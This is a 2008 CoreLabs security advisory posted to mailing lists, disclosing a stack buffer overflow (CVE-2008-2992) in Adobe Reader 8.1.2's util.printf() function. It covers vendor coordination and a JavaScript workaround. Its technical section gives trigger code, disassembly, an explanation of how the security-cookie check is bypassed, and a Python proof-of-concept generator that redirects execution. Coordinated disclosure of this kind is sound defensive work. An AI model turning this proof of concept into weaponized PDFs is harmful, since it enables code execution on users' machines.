Message-ID: <491073AD.1080801@coresecurity.com>
Date: Tue, 04 Nov 2008 14:09:17 -0200
From: CORE Security Technologies Advisories <advisories@...esecurity.com>
To: Bugtraq <bugtraq@...urityfocus.com>,
	Vulnwatch <vulnwatch@...nwatch.org>,
	full-disclosure@...ts.grok.org.uk
Subject: CORE-2008-0526: Adobe Reader Javascript Printf Buffer Overflow

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

      Adobe Reader Javascript Printf Buffer Overflow



1. *Advisory Information*

Title: Adobe Reader Javascript Printf Buffer Overflow
Advisory ID: CORE-2008-0526
Advisory URL:
http://www.coresecurity.com/content/adobe-reader-buffer-overflow
Date published: 2008-11-04
Date of last update: 2008-11-04
Vendors contacted: Adobe
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Buffer overflow
Remotely Exploitable: Yes (client-side)
Locally Exploitable: Yes
Bugtraq ID: 30035
CVE Name: CVE-2008-2992


3. *Vulnerability Description*

Adobe Reader is arguably the world's most ubiquitous electronic document
sharing application. The software can be used to view, search, digitally
sign, verify, print, and collaborate on Adobe PDF files, and includes
scripting functionality to allow for extended customization and
extensibility.

Adobe Reader suffers from a stack buffer overflow when parsing specially
crafted (invalid) PDF files. The vulnerability is caused due to a
boundary error when parsing format strings containing a floating point
specifier in the "util.printf()" JavaScript function. Successful
exploitation of the vulnerability requires that users open a maliciously
crafted PDF file thereby allowing attackers to gain access to vulnerable
systems and assume the privileges of a user running Acrobat Reader.
Adobe Reader version 9, which was released in June 2008, is not
vulnerable to the reported problem.


4. *Vulnerable packages*

   . Adobe Reader 8.1.2
   . Acrobat 8.1.2


5. *Non-vulnerable packages*

   . Adobe Reader 9
   . Acrobat 9
   . Adobe Reader 8.1.3
   . Acrobat 8.1.3


6. *Vendor Information, Solutions and Workarounds*

Adobe will issue a security update that addresses the vulnerable version
8.1.2 of Reader.

Alternatively, a possible workaround for this vulnerability is to
disable JavaScript in Adobe Reader and Acrobat (in the software's
Edit/Preferences menu). Disabling JavaScript will prevent the issue,
although it will also prevent many basic Acrobat and Reader workflows
from properly functioning.


7. *Credits*

The CVE-2008-2992 vulnerability was discovered by Damian Frizza from the
CORE IMPACT Exploit Writers Team at Core Security Technologies while
investigating the feasibility of exploiting a bug in Foxit Reader that
had been disclosed in May 2008. The CVE-2008-1104 vulnerability was
discovered in Foxit Reader by Dyon Balding from Secunia Research.


8. *Technical Description / Proof of Concept Code*

While investigating the feasibility of exploiting the vulnerability
previously disclosed in Foxit Reader (CVE-2008-1104) [1] we found that
Adobe Reader was affected by the same bug. After an initial examination
of the involved implementation bug, it was believed that although
present, the problem was apparently not exploitable in Adobe Reader due
to the use of two structured exception handlers in the program. The
primary difference between the Adobe and Foxit applications is the
manner in which they perform security checks, and at first glance, it
seemed as if the bug was not exploitable in Reader, since there was no
way to control the program's first exception handler.

However, upon further examination of the code, we found that another
overflow occurs before the call to the involved code is made in relation
to the previously known vulnerability. This new problem was identified
in the way vulnerable versions of Adobe Reader implement the JavaScript
util.printf() function. The function first converts the argument it
receives to a String, using only the first 16 digits of the argument and
padding the rest with a fixed value of "0" (0x30). By passing an overly
long and properly formatted command to the function it is possible to
overwrite the program's memory and control its execution flow.

A specifically crafted PDF file that embeds JavaScript code to
manipulate the program's memory allocation pattern and trigger the
vulnerability can allow an attacker to execute arbitrary code with the
privileges of a user running the Adobe Reader application.

We now present the details of the vulnerability. The original Secunia
advisory concerning Foxit Reader stated: "the vulnerability is caused
due to a boundary error when parsing format strings containing a
floating point specifier in the 'util.printf()' JavaScript function."
While researching this bug we found that the following Javascript code
triggers the bug:

/-----------

    var num = 1.2
    util.printf("%5000f",num)

- -----------/

 These two simple Javascript lines cause the byte 0x20 to be copied 5000
times on the stack. This allows to take control of the exception
handler, and also to trigger an exception when trying to write in the
section that comes after the stack.

By filling somehow the heap until the address 0x20202020, for example by
doing a heap spray from the Javascript, an exploit can be made for Foxit
Reader.

After a Proof of Concept PDF file was crafted, we tried to open it with
Adobe Reader 8.1.2. The application closed without warning, without
crash, simply closed.

By disassembling the DLL library Escript.api, we reached this code:

/-----------

    238AF9C5    PUSH EDI
    238AF9C6    PUSH 20
    238AF9C8    PUSH ESI
    238AF9C9    CALL MSVCR80.memset

- -----------/

 This is exactly the same bug, where EDI is the size to be copied,
controlled by the attacker, and ESI is the destination, pointing to a
buffer in the stack.

The program generates an exception here:

/-----------

    78144AFF   REP STOS DWORD PTR ES:[EDI]

- -----------/

 inside the code of the memset function, when trying to write in the
section that comes after the stack.

We examined the active SEH (Structured Exception Handlers), and found
that in this case (unlike the Foxit case), we have two SEH:

/-----------

    Address    SE handler
    0012EE70   EScript.238F6F95
    0012F140   20202020

- -----------/

 One has been completely overwritten by us, and the other not. The code
of the first handler is:

/-----------

    238F6F95    MOV EDX,DWORD PTR SS:[ESP+8]
    238F6F99    LEA EAX,DWORD PTR DS:[EDX+C]
    238F6F9C    MOV ECX,DWORD PTR DS:[EDX-58]
    238F6F9F    XOR ECX,EAX
    238F6FA1    CALL EScript.23806D28     Security Cookie Check 1
    238F6FA6    MOV ECX,DWORD PTR DS:[EDX+22C]
    238F6FAC    XOR ECX,EAX
    238F6FAE    CALL EScript.23806D28    Security Cookie Check 2
    238F6FB3    MOV EAX,EScript.2391B54C
    238F6FB8    JMP MSVCR80.__CxxFrameHandler3

- -----------/

 When the exception is generated, this handler takes the control and is
charged of checking two security cookies. One of them has been
overwritten, so the execution jumps directly to ExitProcess.

Until now, the difference between the two bugs is only the cookies
check. In Foxit we have the following structure on the stack:

/-----------

    Memset Buffer
    RET
    ...
    ...
    SEH
    ...
    ...

- -----------/

 Whereas in Adobe Reader we basically have:

/-----------

    SEH1              --> Security Cookie Check
    ...
    Memset Buffer
    SecurityCookie
    RET
    ...
    SEH2             --> Overwritten with 0x20202020

- -----------/

 At first sight, it seems that this bug in not exploitable, since there
is no way to control the first handler. But... looking at the code, we
found that before the vulnerable call to memset, another overflow
occurs. As a first step, the program transforms the argument received by
the function util.printf() to a String here:

/-----------

    238AF8D1   FSTP QWORD PTR SS:[ESP]
    238AF8D4   CALL DWORD PTR DS:[MSVCR80._fcvt]

- -----------/

 The function returns only the first 16 digits, and the rest is padded
with "0" (0x30). This is copied to the stack here:

/-----------

    238AF946    MOV EAX,DWORD PTR SS:[EBP-28]
    238AF949    MOV AL,BYTE PTR DS:[EAX+EDX]
    238AF94C   MOV BYTE PTR DS:[ESI+EDI],AL      # copy to the stack
    238AF94F    INC EDI
    238AF950    INC EDX
    238AF951    CMP EDX,ECX

- -----------/

 After this copy is completed, the stack has the following disposition:

/-----------

    Float To String Buffer
    ...
    ...
    SEH1      --> Overwritten with 0x30303030
    ...
    ...
    Memset Buffer
    ...
    ...
    SEH2     -->  Overwritten with 0x20202020
    ...
    ...

- -----------/

 If we call the vulnerable function with a long enough number, we can
avoid the cookies check and jump to the address 0x30303030. By
allocating memory somehow and copying our shellcode there, we can
execute arbitrary code in the context of the application.

The following Python code generates a PoC Javascript code:

/-----------

      fill = 276 * '8'
      script="""
      var num = 12999999999999999999_FILL_
      util.printf("%45000f",num)
      """
      script = script.replace('_FILL_', fill)

      print script

- -----------/

 By embedding the generated script in a PDF file, we got an 'Access
violation when executing [30303030]'.


9. *Report Timeline*

. 2008-05-27: Core Security Technologies notifies the vendor of the
vulnerability, similar to the CVE-2008-1104 vulnerability affecting
Foxit Reader.
. 2008-05-27: Vendor acknowledges notification.
. 2008-05-28: Core sends technical details of the vulnerability, and a
Javascript PoC that triggers the bug.
. 2008-05-28: Vendor confirms that they were aware of this
vulnerability. Vendor states that it will be fixed in an update, and
that the schedule for this update is still to be determined.
. 2008-05-29: Core sends some corrections to the info provided, and asks
to be updated about the progress for releasing a fixed version.
. 2008-05-30: Vendor agrees to keep Core updated on their progress.
. 2008-06-09: Core sends the advisory draft, and states that it plans to
publish the advisory on June 23rd. Core also offers the vendor to
include a vendor statement in the advisory.
. 2008-06-09: Vendor states that the issue will be solved in an update
for Adobe Reader 8.1.2, and in the next major release of Adobe Acrobat
and Reader.
. 2008-06-13: Core requests an estimated date for the release of the
next major Adobe Reader version, and expresses its concerns respect to
delaying the publication of the advisory, since it is straightforward
for a potential attacker to rediscover the vulnerability and exploit it
"in the wild", given its relation to the Foxit reader CVE-2008-1104 bug.
. 2008-06-16: Vendor responds that it expects the Adobe Reader 8.1.2
update to occur in the July timeframe.
. 2008-06-27: Core requests updated information concerning the release
dates of Adobe Reader 9 and the 8.1.2 update.
. 2008-06-28: Vendor responds that Adobe Reader 9 is scheduled for July 1st.
. 2008-07-01: Vendor states that the 8.1.2 update is tentatively
scheduled for an early fall release, and not in July as previously informed.
. 2008-07-01: Adobe Reader 9 is publicly released.
. 2008-07-01: Core communicates its intention to publish its security
advisory on July 2nd, given that there is a fixed Adobe Reader version
available, and that the vulnerability is closely related to a
vulnerability already publicly known and exploited (the Foxit reader
CVE-2008-1104 bug).
. 2008-07-01: Vendor requests Core to hold off the publication of the
advisory, because there is still no solution for Adobe Acrobat 8
customers besides paying for an upgrade to Acrobat 9.
. 2008-07-01: Core requests additional information before revising the
publication date: a list of vulnerable products and versions, a concrete
date for the release of the Acrobat and Reader 8.1.2 update, and
possible workarounds for this vulnerability.
. 2008-07-02: Vendor confirms that the vulnerable products and versions
are: Adobe Reader 8.1.2 and Acrobat 8.1.2.
. 2008-07-02: Vendor confirms that disabling JavaScript will prevent the
issue, although it will also prevent many basic Acrobat and Reader
workflows from properly functioning. Vendor commits to providing an
estimated release date for the Acrobat 8.1.2 update as soon as possible.
. 2008-07-02: Core communicates that it will reschedule the publication
of the advisory.
. 2008-07-02: Vendor states that it is working with the team to get a
more specific schedule.
. 2008-07-08: Vendor states that it is still working on expediting the fix.
. 2008-07-08: Core appreciates the updates, and asks for the CVE number
assigned to this issue.
. 2008-07-09: Vendor communicates the estimated release date of October
15th.
. 2008-07-09: Vendor states that the release of an updated Acrobat
version is still estimated for October 15th.
. 2008-09-03: Core requests updated information.
. 2008-09-03: Vendor responds that the release date is still estimated
for October 15th.
. 2008-10-03: Vendor informs that there has been a delay in the schedule
for the upcoming Reader 8.1.3 release. Its current plan of record is now
to target November 4th as the deployment date.
. 2008-10-20: Core asks for confirmation of the release date.
. 2008-10-20: Vendor responds that it is still on track to release
Reader 8.1.3 on November 4th, and that it should have a Security
Bulletin draft to review next week.
. 2008-10-29: Vendor confirms the release of Reader 8.1.3 on November 4th.
. 2008-11-04: Advisory CORE-2008-0526 is published.


10. *References*

[1] Foxit Reader "util.printf()" Buffer Overflow (CVE-2008-1104) -
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1104


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.


12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iEYEARECAAYFAkkQc60ACgkQyNibggitWa2XmgCfQuemfRRpWnUOqIbJyR/Ioj4c
YjwAn0A6hNouqD4CJI8hmRCnMPvENPRP
=WCMf
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists